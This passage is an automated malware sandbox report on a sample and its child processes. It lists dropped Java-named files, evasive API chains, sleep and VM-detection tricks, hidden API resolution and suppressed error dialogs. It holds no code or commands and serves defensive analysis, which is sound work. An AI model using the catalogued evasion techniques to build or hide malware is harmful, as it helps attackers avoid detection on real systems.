Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\javafx_font.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\kinit.exe	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\JavaAccessBridge.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\resource.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\dtplugin\npdeployJava1.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\jabswitch.exe	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\WindowsAccessBridge.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\jp2iexp.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\jjs.exe	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\fxplugins.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\mlib_image.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\decora_sse.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\t2k.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\prism_common.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\jfr.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\prism_d3d.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\splashscreen.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\dtplugin\deployJava1.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\j2pkcs11.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\javafx_font_t2k.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\klist.exe	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\tnameserv.exe	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\javaws.exe	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\javacpl.cpl	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\dt_shmem.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\javafx_iio.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\ssvagent.exe	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\glib-lite.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\servertool.exe	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\rmid.exe	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\gstreamer-lite.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\rmiregistry.exe	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\ktab.exe	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\deploy.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\instrument.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\pack200.exe	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\lcms.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\dt_socket.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\unpack.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\jp2ssv.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\dcpr.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\orbd.exe	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\kcms.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\jp2launcher.exe	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\jdwp.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\eula.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\w2k_lsa_auth.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\npt.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\jsdt.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\jsoundds.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\jpeg.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\keytool.exe	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\prism_sw.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\policytool.exe	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\java-rmi.exe	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\hprof.dll	Jump to dropped file
Source: C:\Windows\System32\xcopy.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\Oracle\bin\j2pcsc.dll	Jump to dropped file

Found evasive API chain (date check)

Show sources

Source: C:\Windows\InstallDir\Server.exe	Evasive API call chain: GetSystemTime,DecisionNodes
Source: C:\Windows\System32\svchost.exe	Evasive API call chain: GetSystemTime,DecisionNodes			graph_5-9485

Found evasive API chain (may stop execution after checking a module file name)

Show sources

Source: C:\Users\user\AppData\Local\Temp\server.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess			graph_3-10192
Source: C:\Windows\InstallDir\Server.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

Found large amount of non-executed APIs

Show sources

Source: C:\Users\user\AppData\Local\Temp\server.exe	API coverage: 8.6 %
Source: C:\Windows\System32\svchost.exe	API coverage: 3.3 %
Source: C:\Program Files\Internet Explorer\iexplore.exe	API coverage: 2.3 %
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	API coverage: 9.9 %
Source: C:\Windows\InstallDir\Server.exe	API coverage: 3.7 %

May sleep (evasive loops) to hinder dynamic analysis

Show sources

Source: C:\Windows\System32\svchost.exe TID: 3692	Thread sleep time: -80000s >= -60000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1716	Thread sleep time: -360000s >= -60000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3796	Thread sleep time: -120000s >= -60000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3828	Thread sleep time: -60000s >= -60000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3908	Thread sleep time: -180000s >= -60000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 2624	Thread sleep time: -60000s >= -60000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 3936	Thread sleep time: -180000s >= -60000s
Source: C:\Windows\explorer.exe TID: 2444	Thread sleep time: -60000s >= -60000s
Source: C:\Windows\explorer.exe TID: 3952	Thread sleep time: -60000s >= -60000s
Source: C:\Windows\explorer.exe TID: 4016	Thread sleep time: -60000s >= -60000s
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe TID: 2176	Thread sleep time: -60000s >= -60000s
Source: C:\Windows\System32\cscript.exe TID: 2668	Thread sleep time: -240000s >= -60000s
Source: C:\Windows\System32\cscript.exe TID: 2616	Thread sleep time: -60000s >= -60000s
Source: C:\Windows\explorer.exe TID: 2380	Thread sleep time: -120000s >= -60000s
Source: C:\Windows\explorer.exe TID: 1324	Thread sleep time: -60000s >= -60000s
Source: C:\Windows\System32\cscript.exe TID: 2456	Thread sleep time: -60000s >= -60000s
Source: C:\Windows\System32\cscript.exe TID: 2340	Thread sleep time: -60000s >= -60000s

Sample execution stops while process was sleeping (likely an evasion)

Show sources

Source: C:\Windows\System32\svchost.exe

Last function: Thread delayed

Contains functionality to enumerate / list files inside a directory

Show sources

Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_2_00C835B0 FindFirstFileW,CloseHandle,	3_2_00C835B0
Source: C:\Users\user\AppData\Local\Temp\server.exe	Code function: 3_1_00C835B0 FindFirstFileW,CloseHandle,	3_1_00C835B0
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00C835B0 FindFirstFileW,CloseHandle,	5_2_00C835B0
Source: C:\Program Files\Internet Explorer\iexplore.exe	Code function: 6_2_00C835B0 FindFirstFileW,CloseHandle,	6_2_00C835B0
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Code function: 12_2_00405FAC GetModuleHandleA,GetProcAddress,lstrcpyn,lstrcpyn,lstrcpyn,FindFirstFileA,FindClose,lstrlen,lstrcpyn,lstrlen,lstrcpyn,	12_2_00405FAC
Source: C:\Windows\InstallDir\Server.exe	Code function: 15_2_00C835B0 FindFirstFileW,CloseHandle,	15_2_00C835B0
Source: C:\Windows\InstallDir\Server.exe	Code function: 15_1_00C835B0 FindFirstFileW,CloseHandle,	15_1_00C835B0

May try to detect the virtual machine to hinder analysis (VM artifact strings found in memory)

Show sources

Source: server.exe, svchost.exe, iexplore.exe, explorer.exe, Server.exe	Binary or memory string: trhgtehgfsgrfgtrwegtre
Source: Server.exe	Binary or memory string: VBoxService.exe

Program exit points

Show sources

Source: C:\Users\user\AppData\Local\Temp\server.exe	API call chain: ExitProcess graph end node	graph_3-9809
Source: C:\Users\user\AppData\Local\Temp\server.exe	API call chain: ExitProcess graph end node	graph_3-9813
Source: C:\Users\user\AppData\Local\Temp\server.exe	API call chain: ExitProcess graph end node	graph_3-9827
Source: C:\Users\user\AppData\Local\Temp\server.exe	API call chain: ExitProcess graph end node	graph_3-9967
Source: C:\Users\user\AppData\Local\Temp\server.exe	API call chain: ExitProcess graph end node	graph_3-9801
Source: C:\Users\user\AppData\Local\Temp\server.exe	API call chain: ExitProcess graph end node	graph_3-9966
Source: C:\Users\user\AppData\Local\Temp\server.exe	API call chain: ExitProcess graph end node	graph_3-9820
Source: C:\Users\user\AppData\Local\Temp\server.exe	API call chain: ExitProcess graph end node	graph_3-9821
Source: C:\Users\user\AppData\Local\Temp\server.exe	API call chain: ExitProcess graph end node	graph_3-9847
Source: C:\Users\user\AppData\Local\Temp\server.exe	API call chain: ExitProcess graph end node	graph_3-9815
Source: C:\Users\user\AppData\Local\Temp\server.exe	API call chain: ExitProcess graph end node	graph_3-9818
Source: C:\Users\user\AppData\Local\Temp\server.exe	API call chain: ExitProcess graph end node	graph_3-9790
Source: C:\Users\user\AppData\Local\Temp\server.exe	API call chain: ExitProcess graph end node	graph_3-9337
Source: C:\Users\user\AppData\Local\Temp\server.exe	API call chain: ExitProcess graph end node	graph_3-9934
Source: C:\Users\user\AppData\Local\Temp\server.exe	API call chain: ExitProcess graph end node	graph_3-9791
Source: C:\Users\user\AppData\Local\Temp\server.exe	API call chain: ExitProcess graph end node	graph_3-9795
Source: C:\Users\user\AppData\Local\Temp\server.exe	API call chain: ExitProcess graph end node	graph_3-9779
Source: C:\Users\user\AppData\Local\Temp\server.exe	API call chain: ExitProcess graph end node	graph_3-9824
Source: C:\Users\user\AppData\Local\Temp\server.exe	API call chain: ExitProcess graph end node	graph_3-9825
Source: C:\Windows\System32\svchost.exe	API call chain: ExitProcess graph end node	graph_5-9449
Source: C:\Program Files\Internet Explorer\iexplore.exe	API call chain: ExitProcess graph end node	graph_6-9697
Source: C:\Program Files\Internet Explorer\iexplore.exe	API call chain: ExitProcess graph end node	graph_6-9696
Source: C:\Program Files\Internet Explorer\iexplore.exe	API call chain: ExitProcess graph end node	graph_6-9664
Source: C:\Windows\InstallDir\Server.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\InstallDir\Server.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\InstallDir\Server.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\InstallDir\Server.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\InstallDir\Server.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\InstallDir\Server.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\InstallDir\Server.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\InstallDir\Server.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\InstallDir\Server.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\InstallDir\Server.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\InstallDir\Server.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\InstallDir\Server.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\InstallDir\Server.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\InstallDir\Server.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\InstallDir\Server.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\InstallDir\Server.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\InstallDir\Server.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\InstallDir\Server.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\InstallDir\Server.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\InstallDir\Server.exe	API call chain: ExitProcess graph end node
Source: C:\Windows\InstallDir\Server.exe	API call chain: ExitProcess graph end node

Hooking and other Techniques for Hiding and Protection:

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Show sources

Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Code function: 12_2_00447930 IsIconic,SetWindowPos,GetWindowPlacement,SetWindowPlacement,	12_2_00447930
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Code function: 12_2_0045C73C PostMessageA,PostMessageA,SendMessageA,GetProcAddress,GetLastError,IsWindowEnabled,IsWindowVisible,GetFocus,SetFocus,SetFocus,IsIconic,GetFocus,SetFocus,	12_2_0045C73C
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Code function: 12_2_0045CE6C IsIconic,SetActiveWindow,IsWindowEnabled,SetWindowPos,DefWindowProcA,	12_2_0045CE6C
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Code function: 12_2_0045CF30 IsIconic,SetActiveWindow,IsWindowEnabled,DefWindowProcA,SetWindowPos,SetFocus,	12_2_0045CF30
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Code function: 12_2_0041DD98 IsIconic,GetWindowPlacement,GetWindowRect,	12_2_0041DD98
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Code function: 12_2_00448300 IsIconic,GetWindowPlacement,GetWindowRect,GetWindowLongA,GetWindowLongA,ScreenToClient,ScreenToClient,	12_2_00448300
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Code function: 12_2_00459200 SendMessageA,ShowWindow,ShowWindow,CallWindowProcA,SendMessageA,ShowWindow,SetWindowPos,GetActiveWindow,IsIconic,SetWindowPos,SetActiveWindow,ShowWindow,ShowWindow,	12_2_00459200
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Code function: 12_2_00447028 IsIconic,GetCapture,	12_2_00447028

Extensive use of GetProcAddress (often used to hide API calls)

Show sources

Source: C:\Users\user\AppData\Local\Temp\server.exe

Code function: 3_2_00C87E20 GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

3_2_00C87E20

Disables application error messsages (SetErrorMode)

Show sources

Source: C:\Users\user\Desktop\sxz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\sxz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\sxz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\sxz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\sxz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\sxz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\sxz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\sxz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\sxz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\sxz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\sxz.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOGPFAULTERRORBOX and NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOGPFAULTERRORBOX and NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOGPFAULTERRORBOX and NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOGPFAULTERRORBOX and NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOGPFAULTERRORBOX and NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOGPFAULTERRORBOX and NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOGPFAULTERRORBOX and NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOGPFAULTERRORBOX and NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOGPFAULTERRORBOX and NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\server.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOGPFAULTERRORBOX and NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Java\jre1.8.0_40\bin\javaw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Java\jre1.8.0_40\bin\javaw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Java\jre1.8.0_40\bin\javaw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Java\jre1.8.0_40\bin\javaw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Java\jre1.8.0_40\bin\javaw.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOGPFAULTERRORBOX and NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOGPFAULTERRORBOX and NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOGPFAULTERRORBOX and NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOGPFAULTERRORBOX and NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOGPFAULTERRORBOX and NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\InstallDir\Server.exe	Process information set: NOALIGNMENTFAULTEXCEPT and NOGPFAULTERRORBOX and NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
Source: C:\Users\user\AppData\Local\Temp\358saxio.exe	Process information set: NOGPFAULTERRORBOX
